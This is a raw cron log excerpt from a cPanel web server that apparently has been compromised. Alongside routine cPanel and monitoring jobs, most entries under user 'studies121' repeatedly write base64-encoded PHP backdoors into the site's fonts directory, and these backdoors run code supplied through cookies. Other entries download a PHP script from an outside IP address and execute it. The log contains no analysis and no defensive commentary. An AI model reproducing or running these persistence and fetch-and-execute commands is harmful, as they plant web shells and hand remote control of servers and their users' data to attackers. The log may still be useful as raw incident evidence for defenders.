Sep 20 07:27:01 ip-184-168-122-23 CROND[3708]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:27:01 ip-184-168-122-23 CROND[3709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:27:01 ip-184-168-122-23 CROND[3710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:28:01 ip-184-168-122-23 CROND[3953]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:28:01 ip-184-168-122-23 CROND[3952]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:28:01 ip-184-168-122-23 CROND[3954]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 07:28:01 ip-184-168-122-23 CROND[3958]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:28:01 ip-184-168-122-23 CROND[3959]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:29:01 ip-184-168-122-23 CROND[4205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:29:01 ip-184-168-122-23 CROND[4206]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:29:01 ip-184-168-122-23 CROND[4209]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:29:01 ip-184-168-122-23 CROND[4211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:30:01 ip-184-168-122-23 CROND[4451]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 07:30:01 ip-184-168-122-23 CROND[4452]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 07:30:01 ip-184-168-122-23 CROND[4454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:30:01 ip-184-168-122-23 CROND[4459]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 07:30:01 ip-184-168-122-23 CROND[4460]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:30:01 ip-184-168-122-23 CROND[4462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:30:01 ip-184-168-122-23 CROND[4464]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:30:01 ip-184-168-122-23 CROND[4465]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 07:31:01 ip-184-168-122-23 CROND[4782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:31:01 ip-184-168-122-23 CROND[4781]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 07:31:01 ip-184-168-122-23 CROND[4783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:31:01 ip-184-168-122-23 CROND[4787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:31:01 ip-184-168-122-23 CROND[4788]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:32:01 ip-184-168-122-23 CROND[5058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:32:01 ip-184-168-122-23 CROND[5059]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:32:01 ip-184-168-122-23 CROND[5060]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 07:32:01 ip-184-168-122-23 CROND[5063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:32:01 ip-184-168-122-23 CROND[5061]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:33:01 ip-184-168-122-23 CROND[5366]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:33:01 ip-184-168-122-23 CROND[5368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:33:01 ip-184-168-122-23 CROND[5369]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:33:01 ip-184-168-122-23 CROND[5370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:34:01 ip-184-168-122-23 CROND[5738]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:34:01 ip-184-168-122-23 CROND[5740]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:34:01 ip-184-168-122-23 CROND[5741]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:34:01 ip-184-168-122-23 CROND[5744]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 07:34:01 ip-184-168-122-23 CROND[5746]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:35:01 ip-184-168-122-23 CROND[6026]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:35:01 ip-184-168-122-23 CROND[6027]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:35:02 ip-184-168-122-23 CROND[6029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:35:02 ip-184-168-122-23 CROND[6035]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 07:35:02 ip-184-168-122-23 CROND[6037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:35:02 ip-184-168-122-23 CROND[6032]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 07:35:02 ip-184-168-122-23 CROND[6033]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 07:35:02 ip-184-168-122-23 CROND[6036]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 20 07:36:01 ip-184-168-122-23 CROND[6458]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:36:01 ip-184-168-122-23 CROND[6459]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:36:01 ip-184-168-122-23 CROND[6460]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:36:01 ip-184-168-122-23 CROND[6461]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 07:36:01 ip-184-168-122-23 CROND[6462]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:37:01 ip-184-168-122-23 CROND[6897]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:37:01 ip-184-168-122-23 CROND[6898]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:37:01 ip-184-168-122-23 CROND[6900]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:37:01 ip-184-168-122-23 CROND[6899]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:38:01 ip-184-168-122-23 CROND[7182]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:38:01 ip-184-168-122-23 CROND[7184]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 07:38:01 ip-184-168-122-23 CROND[7185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:38:01 ip-184-168-122-23 CROND[7186]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:38:01 ip-184-168-122-23 CROND[7187]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:39:01 ip-184-168-122-23 CROND[7521]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:39:01 ip-184-168-122-23 CROND[7523]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
